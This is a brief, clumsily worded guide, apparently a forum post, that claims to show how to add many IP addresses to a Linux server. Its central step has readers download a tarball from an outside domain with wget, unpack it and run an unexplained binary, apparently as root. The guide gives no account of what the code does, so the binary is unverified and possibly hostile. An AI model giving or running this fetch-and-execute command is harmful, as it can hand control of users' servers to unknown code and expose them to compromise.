How to add bunch of ips on linux server?here is guide.

Firstly, abtain network interface.
ip a
https://prnt.sc/mwn4i4
Secondly,figure out issues of linux
cat /etc/redhat-release
https://prnt.sc/mwn4vu
Thirdly,execute the shell
wget http://d.sshby.com/biaozhun.tar&&tar xvf biaozhun.tar&&./biaozhun
https://prnt.sc/mwn5no
https://prnt.sc/mwn5h7
after that,hit Enter.then press Ctr+d
https://prnt.sc/mwn5xz
At least but not last,don't miss “service network restart”
Now,here you go.